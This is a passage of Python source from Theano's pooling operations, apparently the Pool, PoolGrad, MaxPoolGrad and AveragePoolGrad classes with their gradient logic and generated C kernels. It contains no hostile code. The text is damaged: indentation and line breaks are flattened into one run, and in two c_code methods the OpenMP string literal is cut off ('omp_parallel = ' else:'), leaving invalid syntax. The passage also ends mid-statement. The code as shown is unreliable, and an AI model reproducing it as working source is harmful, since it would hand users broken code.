[MaxPoolGrad(ndim=self.ndim, ignore_border=self.ignore_border)( x, outputs[0], gz, ws=ws, stride=stride, pad=pad)] + disc else: return [AveragePoolGrad(ndim=self.ndim, ignore_border=self.ignore_border, mode=self.mode)( x, gz, ws=ws, stride=stride, pad=pad)] + disc def connection_pattern(self, node): return [[1], [0], [0], [0]] def R_op(self, inputs, eval_points): if self.mode != 'max': eval_inputs = [eval_points[0]] + inputs[1:] return [self(*eval_inputs)] if eval_points[0] is None: return [None] z = self(*inputs) x, ws, stride, pad = inputs return [ DownsampleFactorMaxGradGrad(self.ignore_border, self.mode, self.ndim)(x, z, eval_points[0], ws, stride, pad) ] def c_headers(self): headers = ['<algorithm>'] headers += super(Pool, self).c_headers() return headers def c_code(self, node, name, inp, out, sub): if self.mode not in ('max', 'sum', 'average_exc_pad', 'average_inc_pad'): raise theano.gof.utils.MethodNotDefined() x, ws, stride, pad = inp z, = out nd = self.ndim total_ndim = node.inputs[0].ndim non_pool_ndim = total_ndim - nd fail = sub['fail'] params = sub['params'] if self.openmp: omp_parallel = '#pragma omp parallel for private(r_st, r_end, r_idx, i_idx, o_idx, collector) schedule(static)' else: omp_parallel = '' ccode = """ int typenum = PyArray_ObjectType((PyObject*)%(x)s, 0); if(PyArray_NDIM(%(x)s)!=%(total_ndim)s) { PyErr_SetString(PyExc_ValueError, "x must be a %(total_ndim)sD ndarray"); %(fail)s; } if(PyArray_DIM(%(ws)s, 0)!=%(nd)s) { PyErr_SetString(PyExc_ValueError, "ws must be a vector of size %(nd)s"); %(fail)s; } if(PyArray_DIM(%(stride)s, 0)!=%(nd)s) { PyErr_SetString(PyExc_ValueError, "stride must be a vector of size %(nd)s"); %(fail)s; } if(PyArray_DIM(%(pad)s, 0)!=%(nd)s) { PyErr_SetString(PyExc_ValueError, "pad must be a vector of size %(nd)s"); %(fail)s; } int z[%(nd)s]; // shape of the output int r[%(nd)s]; // shape of the padded_input int ws[%(nd)s]; int st[%(nd)s]; int pd[%(nd)s]; int nonzero_padding; nonzero_padding = 0; for (int i=0; i<%(nd)s; i++) { ws[i] = *((npy_intp*)PyArray_GETPTR1(%(ws)s, i)); st[i] = *((npy_intp*)PyArray_GETPTR1(%(stride)s, i)); pd[i] = *((npy_intp*)PyArray_GETPTR1(%(pad)s, i)); r[i] = PyArray_DIMS(%(x)s)[%(non_pool_ndim)s + i] + 2 * pd[i]; if (pd[i]>0) nonzero_padding = 1; } if (!%(params)s->ignore_border && nonzero_padding) { PyErr_SetString(PyExc_ValueError, "padding must be zero when ignore border is False"); %(fail)s; } if (%(params)s->ignore_border) { for (int i=0; i<%(nd)s; i++) { // '/' in C is different from '/' in python if (r[i] - ws[i] < 0) { z[i] = 0; } else { z[i] = (r[i] - ws[i]) / st[i] + 1; } } } else { for (int i=0; i<%(nd)s; i++) { // decide how many rows/cols the output has if (st[i] >= ws[i]) { z[i] = (r[i] - 1) / st[i] + 1; } else { z[i] = std::max(0, (r[i] - 1 - ws[i] + st[i]) / st[i]) + 1; } assert(z[i] > 0); } } // memory allocation of z if necessary int mem_nec; mem_nec = 0; if ((!%(z)s) || *PyArray_DIMS(%(z)s)!=%(total_ndim)s) { mem_nec = 1; } if (!mem_nec) { for (int i=0; i<%(non_pool_ndim)s; i++) { if (PyArray_DIMS(%(z)s)[i] != PyArray_DIMS(%(x)s)[i]) { mem_nec = 1; break; } } } if (!mem_nec) { for (int i=0; i<%(nd)s; i++) { if (PyArray_DIMS(%(z)s)[%(non_pool_ndim)s + i] != z[i]) { mem_nec = 1; break; } } } if (mem_nec) { if (%(z)s) Py_XDECREF(%(z)s); npy_intp dims[%(total_ndim)s]; for (int i=0; i<%(non_pool_ndim)s; i++) { dims[i] = PyArray_DIMS(%(x)s)[i]; } for (int i=0; i<%(nd)s; i++) { dims[%(non_pool_ndim)s + i] = z[i]; } //TODO: zeros not necessary %(z)s = (PyArrayObject*) PyArray_ZEROS(%(total_ndim)s, dims, typenum,0); } // initialize temp var for the value in a region dtype_%(x)s collector; int z_prod; // do not run if any z[i] is zero z_prod = 1; for (int i=0; i<%(nd)s; i++) { z_prod *= z[i]; } if (z_prod) { // will be used to hold start and end index of a region int r_st[%(nd)s]; int r_end[%(nd)s]; // index for iterating over the pooling regions int r_idx[%(nd)s]; // placeholder for PyArray indexing (output) npy_intp o_idx[%(total_ndim)s]; // placeholder for PyArray indexing (input) npy_intp i_idx[%(total_ndim)s]; // loop over non-pooling dimensions int non_pooling_prod = 1; for (int i=0; i<%(non_pool_ndim)s; i++) { non_pooling_prod *= PyArray_DIMS(%(x)s)[i]; } %(omp_parallel)s // first loop over non-pooling dimensions for (int t=0; t<non_pooling_prod; t++) { // compute the non-pooling index in each dimension if (%(non_pool_ndim)s!=0) { o_idx[0] = t; i_idx[0] = t; for (int i=1; i<%(non_pool_ndim)s; i++) { o_idx[i] = o_idx[i - 1] / PyArray_DIMS(%(x)s)[i - 1]; o_idx[i - 1] = o_idx[i - 1] %% PyArray_DIMS(%(x)s)[i - 1]; i_idx[i] = o_idx[i]; i_idx[i - 1] = o_idx[i - 1]; } } // then loop over each region in each pooling dimension """ for i in xrange(nd): ccode += """ for (r_idx[%(i)s]=0; r_idx[%(i)s] < z[%(i)s]; r_idx[%(i)s]++) { r_st[%(i)s] = r_idx[%(i)s] * st[%(i)s]; r_end[%(i)s] = r_st[%(i)s] + ws[%(i)s]; // skip the padding r_st[%(i)s] = r_st[%(i)s] < pd[%(i)s] ? pd[%(i)s] : r_st[%(i)s]; r_end[%(i)s] = r_end[%(i)s] > (r[%(i)s] - pd[%(i)s]) ? r[%(i)s] - pd[%(i)s] : r_end[%(i)s]; // from padded_img space to img space r_st[%(i)s] -= pd[%(i)s]; r_end[%(i)s] -= pd[%(i)s]; // handle the case where no padding, ignore border is True if (%(params)s->ignore_border) { r_end[%(i)s] = r_end[%(i)s] > r[%(i)s] ? r[%(i)s] : r_end[%(i)s]; } // use the index to find the correct position in the output o_idx[%(non_pool_ndim)s + %(i)s] = r_idx[%(i)s]; """ % dict(i=i, non_pool_ndim=non_pool_ndim, params=sub['params']) ccode += """ // get a pointer to the correct position in the output dtype_%(z)s * z; if (%(total_ndim)s == 4) z = ((dtype_%(z)s*)(PyArray_GETPTR4(%(z)s, o_idx[0], o_idx[1], o_idx[2], o_idx[3]))); else z = ((dtype_%(z)s*)(PyArray_GetPtr(%(z)s, o_idx))); """ if self.mode == 'max': for i in xrange(nd): ccode += """ // set the first index of dimension %(i)s i_idx[%(non_pool_ndim)s + %(i)s] = r_st[%(i)s]; """ % dict(i=i, non_pool_ndim=non_pool_ndim) ccode += """ // use the first element as the initial value of collector if (%(total_ndim)s == 4) collector = ((dtype_%(x)s*)(PyArray_GETPTR4(%(x)s,i_idx[0],i_idx[1],i_idx[2],i_idx[3])))[0]; else collector = ((dtype_%(x)s*)(PyArray_GetPtr(%(x)s,i_idx)))[0]; """ for i in xrange(nd): ccode += """ // go through the pooled region in the unpadded input for(int m%(i)s=r_st[%(i)s]; m%(i)s<r_end[%(i)s]; m%(i)s++) { i_idx[%(non_pool_ndim)s + %(i)s] = m%(i)s; """ % dict(i=i, non_pool_ndim=non_pool_ndim) ccode += """ // update maximum dtype_%(x)s a; if (%(total_ndim)s == 4) a = ((dtype_%(x)s*)(PyArray_GETPTR4(%(x)s,i_idx[0],i_idx[1],i_idx[2],i_idx[3])))[0]; else a = ((dtype_%(x)s*)(PyArray_GetPtr(%(x)s,i_idx)))[0]; collector = (a > collector) ? a : collector; """ for i in xrange(nd): ccode += """ } // for loop over region """ ccode += """ z[0] = collector; """ elif self.mode in ('sum', 'average_exc_pad', 'average_inc_pad'): ccode += """ // initialize the sum at zero collector = ((dtype_%(x)s)(0)); """ for i in xrange(nd): ccode += """ // go through the pooled region in the unpadded input for(int m%(i)s=r_st[%(i)s]; m%(i)s<r_end[%(i)s]; m%(i)s++) { i_idx[%(non_pool_ndim)s + %(i)s] = m%(i)s; """ % dict(i=i, non_pool_ndim=non_pool_ndim) ccode += """ // update sum dtype_%(x)s a; if (%(total_ndim)s == 4) a = ((dtype_%(x)s*)(PyArray_GETPTR4(%(x)s,i_idx[0],i_idx[1],i_idx[2],i_idx[3])))[0]; else a = ((dtype_%(x)s*)(PyArray_GetPtr(%(x)s,i_idx)))[0]; collector += a; """ for i in xrange(nd): ccode += """ } // for loop over region """ if self.mode == "sum": ccode += """ z[0] = collector; """ elif self.mode == 'average_inc_pad' and self.ignore_border: region_size = ' * '.join('ws[%d]' % i for i in xrange(nd)) ccode += """ z[0] = collector / (%(region_size)s); """ % dict(region_size=region_size) else: region_size = ' * '.join('(r_end[%d]-r_st[%d])' % (i, i) for i in xrange(nd)) ccode += """ z[0] = collector / (%(region_size)s); """ % dict(region_size=region_size) for i in xrange(nd): ccode += """ } // loop over pooling dimension """ ccode += """ } // for loop over non-pooling dimensions } // if z_prod """ return ccode % locals() def c_code_cache_version(self): return (9, self.openmp) class PoolGrad(OpenMPOp): __props__ = ('ignore_border', 'mode', 'ndim') @staticmethod def out_shape(imgshape, ws=None, ignore_border=False, stride=None, pad=None, ndim=2, ds=None, st=None, padding=None): if ds is not None: if ws is not None: raise ValueError( "You can't provide a tuple value to both 'ws' and 'ds'." " Please provide a value only to 'ws'." ) else: warnings.warn( "DEPRECATION: the 'ds' parameter in PoolGrad is not going" " to exist anymore as it is going to be replaced by the" " parameter 'ws'.", stacklevel=2 ) ws = ds elif ds is None and ws is None: raise ValueError( "You must provide a tuple value for the window size." ) if st is not None: if stride is not None: raise ValueError( "You can't provide a tuple value to both 'st and 'stride'." " Please provide a value only to 'stride'." ) else: warnings.warn( "DEPRECATION: the 'st' parameter in PoolGrad is not going" " to exist anymore as it is going to be replaced by the" " parameter 'stride'.", stacklevel=2 ) stride = st if padding is not None: if pad is not None: raise ValueError( "You can't provide a tuple value to both 'padding' and pad." " Please provide a value only to pad." ) else: warnings.warn( "DEPRECATION: the 'padding' parameter in PoolGrad is not" " going to exist anymore as it is going to be replaced" " by the parameter 'pad'.", stacklevel=2 ) pad = padding if len(imgshape) < ndim: raise TypeError('imgshape must have at least {} dimensions'.format(ndim)) if stride is None: stride = ws if pad is None: pad = (0,) * ndim patch_shape = tuple(tensor.extract_constant(imgshape[-ndim + i]) + pad[i] * 2 for i in xrange(ndim)) def compute_out(v, downsample, stride): if ignore_border: out = (v - downsample) // stride + 1 if isinstance(out, theano.Variable): return tensor.maximum(out, 0) else: return np.maximum(out, 0) else: if isinstance(v, theano.Variable): return tensor.switch(tensor.ge(stride, downsample), (v - 1) // stride + 1, tensor.maximum(0, (v - 1 - downsample) // stride + 1) + 1) elif stride >= downsample: return (v - 1) // stride + 1 else: return max(0, (v - 1 - downsample) // stride + 1) + 1 out_shape = [compute_out(patch_shape[i], ws[i], stride[i]) for i in xrange(ndim)] rval = list(imgshape[:-ndim]) + out_shape return rval def __init__(self, ignore_border, mode='max', ndim=2, openmp=None): self.ndim = ndim self.ignore_border = ignore_border if mode == 'max_deterministic': mode = 'max' if mode not in ['max', 'sum', 'average_inc_pad', 'average_exc_pad']: raise ValueError( "Pool mode parameter only support 'max', 'sum'," " 'average_inc_pad' and 'average_exc_pad'. Got %s" % mode) self.mode = mode super(PoolGrad, self).__init__(openmp=openmp) def prepare_node(self, node, storage_map, compute_map, impl): if len(node.inputs) < 5: self.ndim = len(node.op.ds) self.mode = node.op.mode ws = theano.tensor.constant(node.op.ds) st = theano.tensor.constant(node.op.st) pad = theano.tensor.constant(node.op.padding) node.inputs.append(ws) node.inputs.append(st) node.inputs.append(pad) if isinstance(ws, theano.Constant): storage_map[ws] = [ws.data] compute_map[ws] = [True] else: storage_map[ws] = [None] compute_map[ws] = [False] if isinstance(st, theano.Constant): storage_map[st] = [st.data] compute_map[st] = [True] else: storage_map[st] = [None] compute_map[st] = [False] if isinstance(pad, theano.Constant): storage_map[pad] = [pad.data] compute_map[pad] = [True] else: storage_map[pad] = [None] compute_map[pad] = [False] def infer_shape(self, node, in_shapes): return [in_shapes[0]] class MaxPoolGrad(PoolGrad): def __init__(self, ignore_border, ndim=2, openmp=None): PoolGrad.__init__(self, ignore_border, mode='max', ndim=ndim, openmp=openmp) def make_node(self, x, maxout, gz, ws, stride=None, pad=None): # make_node should only be called by the grad function of # Pool, so these asserts should not fail. x = tensor.as_tensor_variable(x) maxout = tensor.as_tensor_variable(maxout) gz = tensor.as_tensor_variable(gz) nd = self.ndim if stride is None: stride = ws if pad is None: pad = (0,) * nd ws = tensor.as_tensor_variable(ws) stride = tensor.as_tensor_variable(stride) pad = tensor.as_tensor_variable(pad) assert isinstance(x, Variable) and x.ndim >= nd assert isinstance(maxout, Variable) and maxout.ndim >= nd assert isinstance(gz, Variable) and gz.ndim >= nd assert isinstance(ws, Variable) and ws.ndim == 1 assert isinstance(stride, Variable) and stride.ndim == 1 assert isinstance(pad, Variable) and pad.ndim == 1 assert x.ndim == maxout.ndim == gz.ndim >= nd if ws.dtype not in tensor.int_dtypes: raise TypeError('Pool downsample parameters must be ints.') if stride.dtype not in tensor.int_dtypes: raise TypeError('Stride parameters must be ints.') if pad.dtype not in tensor.int_dtypes: raise TypeError('Padding parameters must be ints.') return Apply(self, [x, maxout, gz, ws, stride, pad], [x.type()]) def perform(self, node, inp, out): assert self.mode == 'max' x, maxout, gz, ws, stride, pad = inp gx_stg, = out nd = self.ndim assert ws.shape == stride.shape == pad.shape == (nd,) if len(x.shape) < nd: raise NotImplementedError( 'MaxPoolGrad requires input with {} or more dimensions'.format(nd)) pool_out_shp = maxout.shape[-nd:] img_shp = tuple(x.shape[-nd + i] + 2 * pad[i] for i in xrange(nd)) # pad the image if max(pad) != 0: y = np.zeros(x.shape[:-nd] + img_shp, dtype=x.dtype) y[(slice(None),) * (len(x.shape) - nd) + tuple(slice(pad[i], img_shp[i] - pad[i]) for i in xrange(nd))] = x else: y = x gx = np.zeros_like(y) # precompute the region boundaries for each dimension region_ranges = [[] for i in xrange(nd)] for i in xrange(nd): for j in xrange(pool_out_shp[i]): start = builtins.max(j * stride[i], pad[i]) end = builtins.min(start + ws[i], img_shp[i]) region_ranges[i].append(xrange(start, end)) # iterate over non-pooling dimensions for k in np.ndindex(*x.shape[:-nd]): gxk = gx[k] gzk = gz[k] yk = y[k] maxoutk = maxout[k] # iterate over pooling regions for r in np.ndindex(*pool_out_shp): maxout_value = maxoutk[r] # iterate inside region for c in itertools.product(*[region_ranges[i][r[i]] for i in xrange(nd)]): if maxout_value == yk[c]: gxk[c] += gzk[r] # unpad the image gx = gx[(slice(None),) * (len(x.shape) - nd) + tuple(slice(pad[i], img_shp[i] - pad[i]) for i in xrange(nd))] gx_stg[0] = gx def grad(self, inp, grads): x, maxout, gz, ws, stride, pad = inp ggx, = grads return ([theano.tensor.zeros_like(x), theano.tensor.zeros_like(maxout), DownsampleFactorMaxGradGrad(ndim=self.ndim, ignore_border=self.ignore_border)( x, maxout, ggx, ws, stride, pad)] + [DisconnectedType()() for i in inp[3:]]) def connection_pattern(self, node): return [[1], [1], [1], [0], [0], [0]] def c_code(self, node, name, inp, out, sub): assert self.mode == 'max' x, z, gz, ws, stride, pad = inp gx, = out nd = self.ndim total_ndim = node.inputs[0].ndim non_pool_ndim = total_ndim - nd fail = sub['fail'] if self.openmp: # run in parallel over each pooling block omp_parallel = ' else: omp_parallel = '' ccode = """ // sanity checks int x_typenum = PyArray_ObjectType((PyObject*)%(x)s, 0); int z_typenum = PyArray_ObjectType((PyObject*)%(z)s, 0); int gz_typenum = PyArray_ObjectType((PyObject*)%(gz)s, 0); if ((x_typenum != z_typenum) || (x_typenum != gz_typenum)) { PyErr_SetString(PyExc_ValueError, "input types must all match"); %(fail)s; } if(PyArray_NDIM(%(x)s)!=%(total_ndim)s) { PyErr_SetString(PyExc_ValueError, "x must be a %(total_ndim)sD ndarray"); %(fail)s; } if(PyArray_NDIM(%(z)s)!=%(total_ndim)s) { PyErr_SetString(PyExc_ValueError, "z must be a %(total_ndim)sD ndarray"); %(fail)s; } if(PyArray_NDIM(%(gz)s)!=%(total_ndim)s) { PyErr_SetString(PyExc_ValueError, "gz must be a %(total_ndim)sD ndarray"); %(fail)s; } if(PyArray_DIM(%(ws)s, 0)!=%(nd)s) { PyErr_SetString(PyExc_ValueError, "ws must be a vector of size %(nd)s"); %(fail)s; } if(PyArray_DIM(%(stride)s, 0)!=%(nd)s) { PyErr_SetString(PyExc_ValueError, "stride must be a vector of size %(nd)s"); %(fail)s; } if(PyArray_DIM(%(pad)s, 0)!=%(nd)s) { PyErr_SetString(PyExc_ValueError, "pad must be a vector of size %(nd)s"); %(fail)s; } int z[%(nd)s]; // shape of the output int r[%(nd)s]; // shape of the padded_input int ws[%(nd)s]; int st[%(nd)s]; int pd[%(nd)s]; int nonzero_padding; nonzero_padding = 0; for (int i=0; i<%(nd)s; i++) { ws[i] = *((npy_intp*)PyArray_GETPTR1(%(ws)s, i)); st[i] = *((npy_intp*)PyArray_GETPTR1(%(stride)s, i)); pd[i] = *((npy_intp*)PyArray_GETPTR1(%(pad)s, i)); z[i] = PyArray_DIMS(%(z)s)[%(non_pool_ndim)s + i]; r[i] = PyArray_DIMS(%(x)s)[%(non_pool_ndim)s + i] + 2 * pd[i]; if (pd[i]>0) nonzero_padding = 1; } // allocating memory for output, if necessary int mem_nec; mem_nec = 0; if ((!%(gx)s) || !PyArray_ISCONTIGUOUS(%(gx)s) || *PyArray_DIMS(%(gx)s)!=%(total_ndim)s) { mem_nec = 1; } if (!mem_nec) { for (int i=0; i<%(total_ndim)s; i++) { if (PyArray_DIMS(%(gx)s)[i] != PyArray_DIMS(%(x)s)[i]) { mem_nec = 1; break; } } } if (mem_nec) { Py_XDECREF(%(gx)s); %(gx)s = (PyArrayObject*) PyArray_ZEROS(%(total_ndim)s, PyArray_DIMS(%(x)s), x_typenum,0); } else { PyArray_FILLWBYTE(%(gx)s, 0); } dtype_%(z)s maximum; // temp var for maximum value in a region int z_prod; // do not run if any z[i] is zero z_prod = 1; for (int i=0; i<%(nd)s; i++) { z_prod *= z[i]; } if (z_prod) { // will be used to hold start and end index of a region int r_st[%(nd)s]; int r_end[%(nd)s]; // index for iterating over the pooling regions int r_idx[%(nd)s]; // placeholder for PyArray indexing (output) npy_intp o_idx[%(total_ndim)s]; // placeholder for PyArray indexing (input) npy_intp i_idx[%(total_ndim)s]; // loop over non-pooling dimensions int non_pooling_prod = 1; for (int i=0; i<%(non_pool_ndim)s; i++) { non_pooling_prod *= PyArray_DIMS(%(x)s)[i]; } %(omp_parallel)s // first loop over non-pooling dimensions for (int t=0; t<non_pooling_prod; t++) { // compute the non-pooling index in each dimension if (%(non_pool_ndim)s!=0) { o_idx[0] = t; i_idx[0] = t; for (int i=1; i<%(non_pool_ndim)s; i++) { o_idx[i] = o_idx[i - 1] / PyArray_DIMS(%(x)s)[i - 1]; o_idx[i - 1] =o_idx[i - 1] %% PyArray_DIMS(%(x)s)[i - 1]; i_idx[i] = o_idx[i]; i_idx[i - 1] = o_idx[i - 1]; } } // then loop over each region in each pooling dimension """ for i in xrange(nd): ccode += """ for (r_idx[%(i)s]=0; r_idx[%(i)s] < z[%(i)s]; r_idx[%(i)s]++) { r_st[%(i)s] = r_idx[%(i)s] * st[%(i)s]; r_end[%(i)s] = r_st[%(i)s] + ws[%(i)s]; // skip the padding r_st[%(i)s] = r_st[%(i)s] < pd[%(i)s] ? pd[%(i)s] : r_st[%(i)s]; r_end[%(i)s] = r_end[%(i)s] > (r[%(i)s] - pd[%(i)s]) ? r[%(i)s] - pd[%(i)s] : r_end[%(i)s]; // from padded_img space to img space r_st[%(i)s] -= pd[%(i)s]; r_end[%(i)s] -= pd[%(i)s]; // use the index to find the correct position in the output o_idx[%(non_pool_ndim)s + %(i)s] = r_idx[%(i)s]; """ % dict(i=i, non_pool_ndim=non_pool_ndim) ccode += """ dtype_%(gz)s * gz; if (%(total_ndim)s == 4) { // the maximum value maximum = ((dtype_%(z)s*)(PyArray_GETPTR4(%(z)s,o_idx[0],o_idx[1],o_idx[2],o_idx[3])))[0]; // the gradient corresponding to this maximum value in z gz = ((dtype_%(gz)s*)(PyArray_GETPTR4(%(gz)s, o_idx[0],o_idx[1],o_idx[2],o_idx[3]))); } else { // the maximum value maximum = ((dtype_%(z)s*)(PyArray_GetPtr(%(z)s,o_idx)))[0]; // the gradient corresponding to this maximum value in z gz = ((dtype_%(gz)s*)(PyArray_GetPtr(%(gz)s, o_idx))); } """ for i in xrange(nd): ccode += """ // go through the pooled region in the unpadded input for(int m%(i)s=r_st[%(i)s]; m%(i)s<r_end[%(i)s]; m%(i)s++) { i_idx[%(non_pool_ndim)s + %(i)s] = m%(i)s; """ % dict(i=i, non_pool_ndim=non_pool_ndim) ccode += """ dtype_%(x)s a; dtype_%(gx)s * gx; if (%(total_ndim)s == 4) { a = ((dtype_%(x)s*)(PyArray_GETPTR4(%(x)s,i_idx[0],i_idx[1],i_idx[2],i_idx[3])))[0]; gx = ((dtype_%(gx)s*)(PyArray_GETPTR4(%(gx)s, i_idx[0],i_idx[1],i_idx[2],i_idx[3]))); } else { a = ((dtype_%(x)s*)(PyArray_GetPtr(%(x)s,i_idx)))[0]; gx = ((dtype_%(gx)s*)(PyArray_GetPtr(%(gx)s, i_idx))); } if (a == maximum){ gx[0] = gx[0] + gz[0]; } """ for i in xrange(nd): ccode += """ } // for loop over region """ for i in xrange(nd): ccode += """ } // loop over pooling dimension """ ccode += """ } // for loop over non-pooling dimensions } // if z_prod """ return ccode % locals() def c_code_cache_version(self): return (0, 10, self.openmp) class AveragePoolGrad(PoolGrad): # ignore_border is used for perform, but not c code. No need in params_type def __init__(self, ignore_border, mode='average_inc_pad', ndim=2): assert mode in ['sum', 'average_inc_pad', 'average_exc_pad'] PoolGrad.__init__(self, ignore_border, mode, ndim) # There is an extra dummy parameter to match the parameter count # of MaxPoolGrad. They have to keep the same interface because of # the DownsampleFactorMaxGrad trick to keep old scripts working # (see downsample.py for details on this). def make_node(self, x, gz, ws, stride=None, pad=None, dummy=None): # make_node should only be called by the grad function of # Pool, so these asserts should not fail. x = tensor.as_tensor_variable(x) gz = tensor.as_tensor_variable(gz) nd = self.ndim if stride is None: stride = ws if pad is None: pad = (0,) * nd ws = tensor.as_tensor_variable(ws) stride = tensor.as_tensor_variable(stride) pad = tensor.as_tensor_variable(pad) assert isinstance(x, Variable) and x.ndim >= nd assert isinstance(gz, Variable) and gz.ndim >= nd assert isinstance(ws, Variable) and ws.ndim == 1 assert isinstance(stride, Variable) and stride.ndim == 1 assert x.ndim == gz.ndim >= nd assert isinstance(pad, Variable) and pad.ndim == 1 if ws.dtype not in tensor.int_dtypes: raise TypeError('Pool downsample parameters must be ints.') if stride.dtype not in tensor.int_dtypes: raise TypeError('Stride parameters must be ints.') if pad.dtype not in tensor.int_dtypes: raise TypeError('Padding parameters must be ints.') return Apply(self, [x, gz, ws, stride, pad], [x.type()]) def perform(self, node, inp, out): x, gz, ws, stride, pad = inp gx_stg, = out nd = self.ndim assert ws.shape == stride.shape == pad.shape == (nd,) if len(x.shape) < nd: raise NotImplementedError( 'AveragePoolGrad requires input with {} or more dimensions'.format(nd)) if self.mode == 'average_exc_pad' and max(pad) != 0: raise NotImplementedError() z_shape = self.out_shape(x.shape, ws, self.ignore_border, stride, pad, nd) if (gx_stg[0] is None) or (gx_stg[0].shape != z_shape): gx_stg[0] = np.empty(z_shape, dtype=x.dtype) zz = gx_stg[0] # size of pooling output pool_out_shp = zz.shape[-nd:] img_shp = tuple(x.shape[-nd + i] + 2 * pad[i] for i in xrange(nd)) inc_pad = self.mode == 'average_inc_pad' sum_mode = self.mode == 'sum' # initialize the padded output gx = np.zeros((x.shape[:-nd] + img_shp), dtype=x.dtype) # precompute the region boundaries and sizes for each dimension region_slices = [[] for i in xrange(nd)] region_sizes = [[] for i in xrange(nd)] for i in xrange(nd): for j in xrange(pool_out_shp[i]): if sum_mode or inc_pad: start = j * stride[i] else: start = builtins.max(j * stride[i], pad[i]) end = builtins.min(start + ws[i], img_shp[i]) region_slices[i].append(slice(start, end)) region_sizes[i].append(end - start) # iterate over non-pooling dimensions region_slice = [None] * nd for k in np.ndindex(*x.shape[:-nd]): gzk = gz[k] gxk = gx[k] # iterate over pooling regions for r in np.ndindex(*pool_out_shp): region_size = 1 for i in xrange(nd): region_slice[i] = region_slices[i][r[i]] region_size *= region_sizes[i][r[i]] if sum_mode: val = gzk[r] else: # divide by region size val = gzk[r] / region_size gxk[region_slice] += val # unpad the image gx = gx[(slice(None),) * (len(x.shape) - nd) + tuple(slice(pad[i], img_shp[i] - pad[i]) for i in xrange(nd))] gx_stg[0] = gx def grad(self, inp, grads): x, gz, ws, stride, pad = inp ggx, = grads return ([theano.tensor.zeros_like(x), Pool(ignore_border=self.ignore_border, ndim=self.ndim, mode=self.mode)(ggx, ws, stride, pad)] + [DisconnectedType()() for i in inp[2:]]) def connection_pattern(self, node): return [[1], [1], [0], [0], [0]] def c_code(self, node, name, inp, out, sub): x, gz, ws, stride, pad = inp gx, = out nd = self.ndim total_ndim = node.inputs[0].ndim non_pool_ndim = total_ndim - nd fail = sub['fail'] inc_pad = int(self.mode == 'average_inc_pad') sum_mode = int(self.mode == 'sum') if self.openmp: # run in parallel over each pooling block omp_parallel = ' else: omp_parallel = '' ccode = """ // sanity checks int x_typenum = PyArray_ObjectType((PyObject*)%(x)s, 0); int gz_typenum = PyArray_ObjectType((PyObject*)%(gz)s, 0); if (x_typenum != gz_typenum) { PyErr_SetString(PyExc_ValueError, "input types must all match"); %(fail)s; } if(PyArray_NDIM(%(x)s)!=%(total_ndim)s) { PyErr_SetString(PyExc_ValueError, "x must be a %(total_ndim)sD ndarray"); %(fail)s; } if(PyArray_NDIM(%(gz)s)!=%(total_ndim)s) { PyErr_SetString(PyExc_ValueError, "gz must be a %(total_ndim)sD ndarray"); %(fail)s; } if(PyArray_DIM(%(ws)s, 0)!=%(nd)s) { PyErr_SetString(PyExc_ValueError, "ws must be a vector of size %(nd)s"); %(fail)s; } if(PyArray_DIM(%(stride)s, 0)!=%(nd)s) { PyErr_SetString(PyExc_ValueError, "stride must be a vector of size %(nd)s"); %(fail)s; } if(PyArray_DIM(%(pad)s, 0)!=%(nd)s) { PyErr_SetString(PyExc_ValueError, "pad must be a vector of size %(nd)s"); %(fail)s; } int z[%(nd)s]; // shape of the output int r[%(nd)s]; // shape of the padded_input int ws[%(nd)s]; int st[%(nd)s]; int pd[%(nd)s]; int nonzero_padding; nonzero_padding = 0; for (int i=0; i<%(nd)s; i++) { ws[i] = *((npy_intp*)PyArray_GETPTR1(%(ws)s, i)); st[i] = *((npy_intp*)PyArray_GETPTR1(%(stride)s, i)); pd[i] = *((npy_intp*)PyArray_GETPTR1(%(pad)s, i)); z[i] = PyArray_DIMS(%(gz)s)[%(non_pool_ndim)s + i]; r[i] = PyArray_DIMS(%(x)s)[%(non_pool_ndim)s + i] + 2 * pd[i]; if (pd[i]>0) nonzero_padding = 1; } if (!%(inc_pad)s && !%(sum_mode)s && nonzero_padding) { PyErr_SetString(PyExc_ValueError, "padding must be zero for average_exc_pad"); %(fail)s; } // allocating memory for output, if necessary int mem_nec; mem_nec = 0; if ((!%(gx)s) || !PyArray_ISCONTIGUOUS(%(gx)s) || *PyArray_DIMS(%(gx)s)!=%(total_ndim)s) { mem_nec = 1; } if (!mem_nec) { for (int i=0; i<%(total_ndim)s; i++) { if (PyArray_DIMS(%(gx)s)[i] != PyArray_DIMS(%(x)s)[i]) { mem_nec = 1; break; } } } if (mem_nec) { Py_XDECREF(%(gx)s); %(gx)s = (PyArrayObject*) PyArray_ZEROS(%(total_ndim)s, PyArray_DIMS(%(x)s), x_typenum,0); } else { PyArray_FILLWBYTE(%(gx)s, 0); } int z_prod; // do not run if any z[i] is zero z_prod = 1; for (int i=0; i<%(nd)s; i++) { z_prod *= z[i]; } if (z_prod) { // will be used to hold start and end index of a region int r_st[%(nd)s]; int r_end[%(nd)s]; // padded region size int r_pad_width[%(nd)s]; // index for iterating over the pooling regions int r_idx[%(nd)s]; // placeholder for PyArray indexing (output) npy_intp o_idx[%(total_ndim)s]; // placeholder for PyArray indexing (input) npy_intp i_idx[%(total_ndim)s]; // loop over non-pooling dimensions int non_pooling_prod = 1; for (int i=0; i<%(non_pool_ndim)s; i++) { non_pooling_prod *= PyArray_DIMS(%(x)s)[i]; } %(omp_parallel)s // first loop over non-pooling dimensions for (int t=0; t<non_pooling_prod; t++) { // compute the non-pooling index in each dimension if (%(non_pool_ndim)s!=0) { o_idx[0] = t; i_idx[0] = t; for (int i=1; i<%(non_pool_ndim)s; i++) { o_idx[i] = o_idx[i - 1] / PyArray_DIMS(%(x)s)[i - 1]; o_idx[i - 1] =o_idx[i - 1] %% PyArray_DIMS(%(x)s)[i - 1]; i_idx[i] = o_idx[i]; i_idx[i - 1] = o_idx[i - 1]; } } // then loop over each region in each pooling dimension """ for i in xrange(nd): ccode += """ for (r_idx[%(i)s]=0; r_idx[%(i)s] < z[%(i)s]; r_idx[%(i)s]++) { r_st[%(i)s] = r_idx[%(i)s] * st[%(i)s]; if (!%(sum_mode)s && !%(inc_pad)s && r_st[%(i)s] < pd[%(i)s]) { r_st[%(i)s] = pd[%(i)s]; } r_end[%(i)s] = r_st[%(i)s] + ws[%(i)s]; r_end[%(i)s] = r_end[%(i)s] > r[%(i)s] ? r[%(i)s] : r_end[%(i)s]; r_pad_width[%(i)s] = r_end[%(i)s] - r_st[%(i)s]; // from padded_img space to img space r_st[%(i)s] = r_st[%(i)s] - pd[%(i)s] > 0 ? r_st[%(i)s] - pd[%(i)s] : 0; r_end[%(i)s] = r_end[%(i)s] > r[%(i)s] - pd[%(i)s] ? 